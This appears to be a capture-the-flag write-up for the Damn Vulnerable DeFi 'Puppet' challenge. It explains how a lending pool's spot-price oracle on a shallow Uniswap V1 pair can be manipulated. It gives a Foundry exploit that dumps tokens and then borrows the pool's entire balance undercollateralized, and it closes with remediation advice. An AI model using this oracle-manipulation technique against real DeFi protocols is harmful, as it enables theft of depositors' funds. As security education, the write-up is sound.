Challenge Link to heading
There’s a huge lending pool borrowing Damn Valuable Tokens (DVTs), where you first need to deposit twice the borrow amount in ETH as collateral. The pool currently has 100000 DVTs in liquidity.
There’s a DVT market opened in an description Uniswap v1 exchange, currently with 10 ETH and 10 DVT in liquidity.
Starting with 25 ETH and 1000 DVTs in balance, you must steal all tokens from the lending pool.
Analysis Link to heading
The Puppet.t.sol
test contract uses the
deployCode
to deploy Uniswap V1 contracts by fetching the ABI and bytecode
from the artifacts directory. We assume it is an original
Uniswap V1 pool so we can read
the docs
to see how to interact with it.
Let’s review the borrow
function:
function borrow(uint256 borrowAmount) public payable nonReentrant {
uint256 depositRequired = calculateDepositRequired(borrowAmount);
if (msg.value < depositRequired) revert NotDepositingEnoughCollateral();
if (msg.value > depositRequired) {
payable(msg.sender).sendValue(msg.value - depositRequired);
}
deposits[msg.sender] = deposits[msg.sender] + depositRequired;
// Fails if the pool doesn't have enough tokens in liquidity
if (!token.transfer(msg.sender, borrowAmount)) revert TransferFailed();
emit Borrowed(msg.sender, depositRequired, borrowAmount);
}
The first line in the function body is the most interesting one.
It calls the calculateDepositRequired
to get the amount of ETH
we need to deposit as a collateral to borrow the given amount
of DVT’s.
function calculateDepositRequired(uint256 amount)
public
view
returns (uint256)
{
return (amount * _computeOraclePrice() * 2) / 10**18;
}
As we can see, user needs to deposit twice the borrow amount in
ETH as collateral. This function calls the _computeOraclePrice
to get the price of the token in wei
according to Uniswap
pair.
function _computeOraclePrice() private view returns (uint256) {
return (uniswapPair.balance * (10**18)) / token.balanceOf(uniswapPair);
}
The _computeOraclePrice
acts as a price oracle. A terrible
price oracle, because we can manipulate it by changing balances
of the ETH/DVT Uniswap pool to take an undercollaterized loan.
Exploit Link to heading
Goal: We would like to borrow all the DVT’s from the pool while providing as little ETH as possible.
We have 1000 DVT’s. So we can drop the price of DVT by selling
all of them. This kind of huge trade would cause an imbalance in
the ETH/DVT pool, which makes it possible to take out a loan that
appears to be sufficiently collateralized, but is in fact
undercollateralized. Then we can call the borrow
function,
which will use the ETH/DVT as oracle and check it at the instant
when the apparent price has been manipulated:
function testExploit() public {
/** EXPLOIT START **/
vm.startPrank(attacker);
dvt.approve(address(uniswapExchange), ATTACKER_INITIAL_TOKEN_BALANCE);
// Sell all the DVT's we have to drop its price
uint256 result = uniswapExchange.tokenToEthSwapInput(
ATTACKER_INITIAL_TOKEN_BALANCE,
9 * 1e18,
DEADLINE
);
assertGt(result, 9 ether);
// Get the undercollateralized loan
puppetPool.borrow{value: 20 ether}(100_000e18);
vm.stopPrank();
/** EXPLOIT END **/
validation();
}
Summary and key takeaways Link to heading
In general it is hard to use price oracles safely. And it’s not always obvious that you’re using a price oracle.
Remediation Link to heading
There are a few solutions that you might want to consider to protect yourself.
- Don’t use on chain AMM’s as price oracles.
- Always consider the implications of dependencies on third-party projects.
- Do not dive in shallow markets. Markets without enough liquidity are dangerous and easier to manipulate.
- Time-Weighted Average Price (TWAP). Uniswap V2 introduced a TWAP oracle, which is resistant to oracle manipulation attacks.
- M-of-N reporters: Use something like Chainlink price oracles, which aggregates price data from Chainlink operators and exposes it on-chain.
- Speed bumps: Implement a delay of as short as 1 block between a user entering and exiting your system.
References Link to heading
Check out these references if you want to learn more about dangers of price oracles:
- Smart Contract Security Guidelines #3: The Dangers of Price Oracles - Workshop by OpenZeppelin.
- So you want to use a price oracle - Everything you need to know about price oracles and how to use them safely. Blog post by samczsun.
- Taking undercollateralized loans for fun and for profit - Another cool blog post by samczsun from 2019.
- Building an Oracle - Guide by Uniswap V2.
I hope you enjoyed this writeup. The complete code is here.
Let’s move on! The next challenge is #9 Puppet V2.